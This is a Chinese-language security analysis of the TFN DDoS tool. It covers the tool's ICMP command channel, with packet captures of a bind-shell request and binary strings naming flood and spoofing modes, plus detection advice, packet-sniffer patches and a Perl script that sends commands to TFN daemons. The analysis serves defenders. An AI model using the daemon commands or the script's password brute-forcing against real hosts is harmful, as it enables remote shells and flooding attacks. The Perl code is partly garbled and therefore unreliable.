TFN客户端通过ICMP_ECHOREPLY包而不是ICMP_ECHO包向TFN守护程序发送命令。这能够防止守护程序所在系统的内核发送ICMP_ECHOREPLY包。而TFN守护程序则在需要时也通过ICMP_ECHOREPLY包响应TFN客户端。TFN使用的ICMP包与正常ICMP包的不同之处在于它发送的命令参数及响应。
在TFN使用的ICMP_ECHOREPLY包的id域中包含了"命令"（16位二进制值），而在数据段中则是ASCII明文方式的任何参数。
以下是某个攻击者执行命令以启动在端口12345上监听的shell：
----------------------------------------------------------------------------
# ./tfn iplist 4 12345
[tribe flood network] (c) 1999 by Mixter
[request: bind shell to port 12345]
192.168.0.1: shell bound to port 12345
#
----------------------------------------------------------------------------
以下是使用"sniffit"监听到的网络通讯：
---------------------------------------------------------------------------- 192.168.0.1
ICMP type: Echo reply
.. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. .
.. . .. . .. . .. . 00 . 00 . 64 d D1 . 01 . C8 . 00 . 00 . 31 1 32 2 33 3 34 4
35 5 00 .
10.0.0.1
ICMP type: Echo reply
.. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. .
.. . .. . .. . .. . 00 . 00 . 6C l AE . 00 . 7B { 00 . 00 . 73 s 68 h 65 e 6C l
6C l 20 62 b 6F o 75 u 6E n 64 d 20 74 t 6F o 20 70 p 6F o 72 r 74 t 20
31 1 32 2 33 3 34 4 35 5 0A . 00 .
----------------------------------------------------------------------------
以下是使用"tcpdump"监听到的网络通讯：
----------------------------------------------------------------------------
# tcpdump -lnx -s 1518 icmp
tcpdump: listening on eth0 192.168.0.1: icmp: echo reply
.... .... .... .... .... .... .... ....
.... .... 0000 64d1 01c8 0000 3132 3334
3500 10.0.0.1: icmp: echo reply
.... .... .... .... .... .... .... ....
.... .... 0000 6cae 007b 0000 7368 656c
6c20 626f 756e 6420 746f 2070 6f72 7420
3132 3334 350a 00
----------------------------------------------------------------------------
以下是"tcpdump"和"tcpshow"结合所监听到的内容：
----------------------------------------------------------------------------
Packet 1
ICMP Header
Type: echo-reply
Checksum: 0x64D1
Id: 0x01C8
Sequence: 0x0000
ICMP Data
12345
-----------------------------------------------------------------
Packet 2
ICMP Header
Type: echo-reply
Checksum: 0x6CAE
Id: 0x007B
Sequence: 0x0000
ICMP Data
shell bound to port 12345
----------------------------------------------------------------------------
能够看到，TFN客户端利用id字段包含命令0x01C8，序列号为0x0000（总是为0），还包含了指定的端口号为"12345"，都发送到TFN守护程序端。
TFN守护程序回送给TFN客户端的内容包括id字段中的响应命令（0x007B），序列号为0x0000，和字符串"shell bound to port 12345\n"。这个字符串将和TFN守护程序的IP地址一起显示到TFN客户端的shell中。
防 御
--------
因为这个工具利用ICMP_ECHOREPLY包进行通讯，除非修改使用ICMP协议的程序，否则很难（但不是不可能）阻止它。Phrack的建议是：
最可靠的方法是禁止所有进入网络的ICMP_ECHO和ICMP_ECHOREPLY通讯。
简单地说，分辨ICMP_ECHO和ICMP_ECHOREPLY包是否正常不是一件容易的事情，特别对于大型网络。
缺陷及弱点
----------
如果源代码未必修改，可以通过搜索程序二进制代码中的字符串查找TFN客户端程序和TFN守护程序：
------------------------------------------------------------------------------
# strings - td
. . .
%d.%d.%d.%d
/bin/sh
tfn-daemon
already %s flooding
multiple targets
ICMP flood: %s
tfn-child
SMURF (target@bcast@...): %s
UDP flood: %s
SYN flood: port %d, multiple targets
SYN flood: port %d, %s
ready - size: %d spoof: %d
%s flood terminated
packet size: %d bytes
spoof mask: *.*.*.* (%s)
spoof mask: 1.*.*.* (%s)
spoof mask: 1.1.*.* (%s)
spoof mask: 1.1.1.* (%s)
spoof test: %s
shell bound to port %s
. . .
[0;35m[tribe flood network]
(c) 1999 by
[5mMixter
ICMP
SMURF
. . .
# strings - tfn
. . .
%d.%d.%d.%d
ERROR reading IP list
[1;37m
[request: change packet size]
[request: change spoofmask]
[request: stop and display status]
[request: udp flood %s]
[request: syn flood [port: %s] %s]
[request: icmp flood %s]
[request: bind shell to port %s]
[request: smurf (target@bcast@...) %s]
[0;0m
[0m%s:
[0;31m
[0;34mtimeout
[1;34m
usage: %s [ip] [port]
contains a list of numerical hosts that are ready to flood
-1 for spoofmask type (specify 0-3), -2 for packet size,
is 0 for stop/status, 1 for udp, 2 for syn, 3 for icmp,
4 to bind a rootshell (specify port)
5 to smurf, first ip is target, further ips are broadcasts
[ip] target ip[s], separated by %s if more than one
[port] must be given for a syn flood, 0 = RANDOM
skipping
[0;35m[tribe flood network]
(c) 1999 by
[5mMixter
. . .
------------------------------------------------------------------------------
最近发现的二进制代码中的字符串表明，多TFN客户端支持（类似Trinoo）、iplist文件加密、ICMP包数据段内容加密等新功能正在或已经加入到该工具中。
最近发现的二进制代码有些使用了"rcp"命令，这样监视"rcp"连接（514/tcp）也许能够较快地发现问题。
由于TFN使用ICMP数据包，很难实时监测出通讯，而且这些数据包往往能直接通过大多数防火墙。象"ngrep"这类程序也不能处理ICMP数据包，所以目前也很难监视ICMP包中的数据段内容。
TFN的一个缺陷是目前为止还没有对ICMP包的源地址进行验证。这样如果命令对应的缺省数值未被改变，只需一个数据包就能探测出一个TFN守护程序。（请参阅附录C中的Perl脚本。）
如果命令对应的各个数据改变了，通过暴力法（发送所有可能的数值组合）仍然有可能使TFN守护程序关闭（id字段是16位，共有64K种组合）。与此同时，对TFN守护程序端机器进行ICMP flood攻击来使其失效，也是一种潜在的可行方法。
附录A：sniffit v0.3.7.beta显示ICMP包数据内容的补丁程序
-----------------------------------------------------------------
--------------------------- cut here -------------------------------
diff -c sniffit.0.3.7.beta.orig/sn_defines.h sniffit.0.3.7.beta/sn_defines.h
*** sniffit.0.3.7.beta.orig/sn_defines.h Wed Aug 26 12:21:23 1998
--- sniffit.0.3.7.beta/sn_defines.h Wed Oct 20 10:15:41 1999
***************
*** 126,132 ****
#define ICMP_TYPE_3 "Destination unreachable"
#define ICMP_TYPE_4 "Source quench"
#define ICMP_TYPE_5 "Redirect"
! #define ICMP_TYPE_8 "Echo"
#define ICMP_TYPE_11 "Time exceeded"
#define ICMP_TYPE_12 "Parameter problem"
#define ICMP_TYPE_13 "Timestamp"
--- 126,132 ----
#define ICMP_TYPE_3 "Destination unreachable"
#define ICMP_TYPE_4 "Source quench"
#define ICMP_TYPE_5 "Redirect"
! #define ICMP_TYPE_8 "Echo request"
#define ICMP_TYPE_11 "Time exceeded"
#define ICMP_TYPE_12 "Parameter problem"
#define ICMP_TYPE_13 "Timestamp"
***************
*** 134,140 ****
#define ICMP_TYPE_15 "Information request"
#define ICMP_TYPE_16 "Information reply"
#define ICMP_TYPE_17 "Address mask request"
! #define ICMP_TYPE_18 "Adress mask reply"
/*** Services (standardised) *******************************************/
#define FTP_DATA_1 20
--- 134,140 ----
#define ICMP_TYPE_15 "Information request"
#define ICMP_TYPE_16 "Information reply"
#define ICMP_TYPE_17 "Address mask request"
! #define ICMP_TYPE_18 "Address mask reply"
/*** Services (standardised) *******************************************/
#define FTP_DATA_1 20
diff -c sniffit.0.3.7.beta.orig/sniffit.0.3.7.c sniffit.0.3.7.beta/sniffit.0.3.7.c
*** sniffit.0.3.7.beta.orig/sniffit.0.3.7.c Wed Aug 26 12:21:25 1998
--- sniffit.0.3.7.beta/sniffit.0.3.7.c Wed Oct 20 10:15:49 1999
***************
*** 1333,1339 ****
printf ("Unknown ICMP type!\n");
break;
}
! printf ("\n");
return;
}
if (finish < 30) /* nothing yet */
--- 1333,1351 ----
printf ("Unknown ICMP type!\n");
break;
}
! total_length = info.IP_len + info.ICMP_len + info.DATA_len;
! n = 0;
! for (i = 0; i < total_length; i++)
! {
! unsigned char c = sp[PROTO_HEAD + i]; 75)
! n = 0, printf ("\n");
! if (DUMPMODE & 1)
! n += printf (" %02X", c);
! if (DUMPMODE & 2)
! n += printf (" %c", isprint (c) ? c : '.');
! }
! printf ("\n\n");
return;
}
if (finish < 30) /* nothing yet */
--------------------------- cut here -------------------------------
附录B：tcpshow 1.0显示ICMP ECHO包id/序列号的补丁程序
----------------------------------------------------------------------
--------------------------- cut here -------------------------------
diff -c tcpshow.c.orig tcpshow.c
*** tcpshow.c.orig Thu Oct 21 14:12:19 1999
--- tcpshow.c Thu Oct 21 14:22:34 1999
***************
*** 1081,1086 ****
--- 1081,1088 ----
uint2 nskipped;
uint1 type;
char *why;
+ uint2 echo_id;
+ uint2 echo_seq;
type = getbyte(&pkt); nskipped = sizeof(type);
***************
*** 1091,1096 ****
--- 1093,1103 ----
/* Must calculate it from the size of the IP datagram - the IP header. */
datalen -= ICMPHDRLEN;
+ if (type == ECHO_REQ || type == ECHO_REPLY) {
+ echo_id = getword(&pkt); nskipped += sizeof(cksum);
+ echo_seq = getword(&pkt); nskipped += sizeof(cksum);
+ }
+
why = icmpcode(type, code);
if (dataflag) {
printf(
***************
*** 1113,1118 ****
--- 1120,1129 ----
icmptype(type), why? "\n\tBecause:\t\t\t": "", why? why: ""
);
printf("\tChecksum:\t\t\t0x%04X\n", cksum);
+ if (type == ECHO_REQ || type == ECHO_REPLY) {
+ printf("\tId:\t\t\t\t0x%04X\n", echo_id);
+ printf("\tSequence:\t\t\t0x%04X\n", ntohs(echo_seq));
+ }
}
return pkt;
--------------------------- cut here -------------------------------
附录C：关闭TFN守护程序的Perl脚本"civilize"
----------------------------------------------------------
--------------------------- cut here -------------------------------
#!/usr/bin/perl
#
# civilize v. 1.0
# By Dave Dittrich
#
# Send commands to TFN daemon(s), causing them to do things like
# spawn shells, stop floods and report status, etc. Using this program
# (and knowledge of the proper daemon "passwords"), you can affect TFN
# daemons externally and monitor packets to verify if a daemon is
# running, etc. You can also brute force attack the "passwords" by
# sending packets until you get the desired reply (or give up.)
#
# Needs Net::RawIP (http://quake.skif.net/RawIP)
# Requires libpcap (ftp://ftp.ee.lbl.gov/libpcap.tar.Z)
#
# Example: ./civilize [options] host1 [host2 [...]]
#
# (This code was hacked from the "macof" program, written by
# Ian Vitek )
require 'getopts.pl';
use Net::RawIP;
require 'netinet/in.ph';
{}});
chop($hostname = `hostname`);
Getopts('a:c:f:i:vh');
die "usage: $0 [options] iplist\t-a arg\t\tSend command argument 'arg' (default \"12345\")\t-c val\t\tSend command value 'val' (default 456 - spawn a shell)\t-f from_host\t\t(default:$hostname)\t-i interface \t\tSet sending interface (default:eth0)\t-v\t\t\tVerbose\t-h This help\n" unless ( !$opt_h );
# set default values
$opt_i = ($opt_i) ? $opt_i : "eth0";
$opt_a = ($opt_a) ? $opt_a : "12345";
$opt_c = ($opt_c) ? $opt_c : "456";
# choose network card
if($opt_e) { $opt_e);
} else {ethnew($opt_i);
}
$s_host = ($opt_h) ? $opt_h : $hostname;
if ($ARGV[0]) {
open(I,"<$ARGV[0]") || die "could not open file: '$ARGV[0]'";
while () {
chop;
push(@list,$_);
}
close(I);
}
# Put value in network byte order (couldn't get htons() in
# "netinet/in.ph" to work. Go figure.)
$id = unpack("S", pack("n", $opt_c));
foreach $d_host (@list) { $d_host}, "$opt_a\0"}
});
print "sending packet [$opt_c/$opt_a] to $d_host\n" if $opt_v;send;
}
exit(0);
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